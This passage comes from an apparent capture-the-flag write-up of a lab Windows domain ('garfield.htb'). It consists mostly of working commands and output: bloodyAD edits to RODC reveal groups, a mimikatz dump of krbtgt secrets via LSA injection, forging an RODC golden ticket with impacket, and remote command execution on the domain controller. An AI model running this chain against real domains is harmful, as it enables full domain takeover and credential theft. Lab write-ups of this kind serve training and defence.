[+] l.wilson_adm added to RODC Administrators
Since we’re an RODC Administrator, we should now be able to modify RODC01$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ bloodyAD -H dc01.garfield.htb -u "l.wilson_adm" -p 'Password123!' get writable --detail --otype computer
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msDS-RevealOnDemandGroup: WRITE
msDS-NeverRevealGroup: WRITE
lastLogonTimestamp: WRITE
managedBy: WRITE
logonCount: WRITE
accountExpires: WRITE
profilePath: WRITE
userParameters: WRITE
pwdLastSet: WRITE
userWorkstations: WRITE
logonWorkstation: WRITE
logonHours: WRITE
scriptPath: WRITE
lastLogon: WRITE
lastLogoff: WRITE
homeDrive: WRITE
homeDirectory: WRITE
badPwdCount: WRITE
userAccountControl: WRITE
distinguishedName: CN=w1ld,CN=Computers,DC=garfield,DC=htb
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
lastLogonTimestamp: WRITE
logonCount: WRITE
accountExpires: WRITE
profilePath: WRITE
userParameters: WRITE
pwdLastSet: WRITE
userWorkstations: WRITE
logonWorkstation: WRITE
logonHours: WRITE
scriptPath: WRITE
lastLogon: WRITE
lastLogoff: WRITE
homeDrive: WRITE
homeDirectory: WRITE
badPwdCount: WRITE
userAccountControl: WRITE
displayName: WRITE
description: WRITE
sAMAccountName: WRITE
So let’s clear our NeverRevealGroup and add a RevealOnDemandGroup.
1
2
3
4
5
6
$ bloodyAD -H dc01.garfield.htb -u "l.wilson_adm" -p 'Password123!' set object "RODC01$" "msDS-NeverRevealGroup"
[+] RODC01$s msDS-NeverRevealGroup has been updated
$ bloodyAD -H dc01.garfield.htb -u "l.wilson_adm" -p 'Password123!' set object "RODC01$" "msDS-RevealOnDemandGroup" -v "CN=Administrators,CN=Builtin,DC=garfield,DC=htb"
[+] RODC01$s msDS-RevealOnDemandGroup has been updated
Next we’ll need the krbtgt_8245’s AES Hash so we can replicate the KDC tickets onto the RODC which we can grab using mimikatz to read lsa memory through process injection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
PS C:\> ./mimikatz.exe "privilege::debug" "lsadump::lsa /inject /user:krbtgt_8245" "exit"
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # lsadump::lsa /inject /user:krbtgt_8245
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357
RID : 00000643 (1603)
User : krbtgt_8245
* Primary
NTLM : [REDACTED]
LM :
Hash NTLM: [REDACTED]
ntlm- 0: [REDACTED]
lm - 0: [REDACTED]
* WDigest
01 6d31d1f92ef6d85f5517944f98bf5753
02 8c46bd5ddc680291e70800990dbc02e3
03 9ffbc24f29b9bb3df3c32b76631ff874
04 6d31d1f92ef6d85f5517944f98bf5753
05 8c46bd5ddc680291e70800990dbc02e3
06 8fc97c500bf9c7c4a0d34a497f9c5245
07 6d31d1f92ef6d85f5517944f98bf5753
08 c4bac61b7ecb407d358f836d2f4e19c6
09 c4bac61b7ecb407d358f836d2f4e19c6
10 d8938c80e1e0c80a2ec1d8b06f42cb31
11 67f002aa49f4400fa970a53e294f4bee
12 c4bac61b7ecb407d358f836d2f4e19c6
13 56062e2db43bc0069deb86de87509ca6
14 67f002aa49f4400fa970a53e294f4bee
15 7250fcfc09d9cb93345c0c1393e19e52
16 7250fcfc09d9cb93345c0c1393e19e52
17 04b30cd8b5381d4b8458b0c996503a91
18 b48bda9ef98982d5ee33766a74880e01
19 bb365cf4f0bcdadf35b6a9b04c58257b
20 85addbd6d603cca1b500f2da02b205d0
21 b6186618611e202aae4141716e6603f5
22 b6186618611e202aae4141716e6603f5
23 f3f6c9408db132bf8e59413b7b40bb16
24 0acf88cc5cb3b35888708ebefe658b6f
25 0acf88cc5cb3b35888708ebefe658b6f
26 08b8941632a5017e7178a3761dfaf7fb
27 c1b2fd89d0dafb5f9e18147042bdc433
28 712f0b6ed3b7eb7f6f135a1e298c4e09
29 bf8d51270f7f657079bb9744446d70cb
* Kerberos
Default Salt : GARFIELD.HTBkrbtgt_8245
Credentials
des_cbc_md5 : d540fe6192b9ecfe
* Kerberos-Newer-Keys
Default Salt : GARFIELD.HTBkrbtgt_8245
Default Iterations : 4096
Credentials
aes256_hmac (4096) : [REDACTED]
aes128_hmac (4096) : [REDACTED]
des_cbc_md5 (4096) : [REDACTED]
* NTLM-Strong-NTOWF
Random Value : [REDACTED]
mimikatz(commandline) # exit
Bye!
Finally with all this information we can generate a golden RODC ticket with Greylorn’s impacket pull request[1], which adds an implementation that puts the RODCNO into the HIGH 16 BITS of the KVNO when forging a TGT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ticketer.py -rodc 8245 -aesKey [REDACTED AES-256 KEY] -domain-sid S-1-5-21-2502726253-3859040611-225969357 -domain garfield.htb Administrator
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[*] RODC golden ticket mode: kvno will be encoded with RODC number 8245
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for garfield.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
This can also be done using Rubeus
v 2.2.2+thanks to0xe7and the following Pull Request[2]
Let’s use this ticket to authenticate to the domain controller.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ export KRB5CCNAME=Administrator.ccache
$ nxc ldap DC01.garfield.htb -k --use-kcache
LDAP DC01.garfield.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:GARFIELD.HTB) (signing:None) (channel binding:No TLS cert)
LDAP DC01.garfield.htb 389 DC01 [+] GARFIELD.HTB\Administrator from ccache (Pwn3d!)
$ nxc smb DC01.garfield.htb -k --use-kcache -x 'powershell -c "ls C:/Users/Administrator/Desktop"'
SMB DC01.garfield.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB DC01.garfield.htb 445 DC01 [+] GARFIELD.HTB\Administrator from ccache (Pwn3d!)
SMB DC01.garfield.htb 445 DC01 [+] Executed command via wmiexec
SMB DC01.garfield.htb 445 DC01 Directory: C:\Users\Administrator\Desktop
SMB DC01.garfield.htb 445 DC01 Mode LastWriteTime Length Name
SMB DC01.garfield.htb 445 DC01 ---- ------------- ------ ----
SMB DC01.garfield.htb 445 DC01 -ar--- 4/9/2026 4:12 AM 34 root.txt
Just like that, we have Root!
tags: os/windows - diff/hard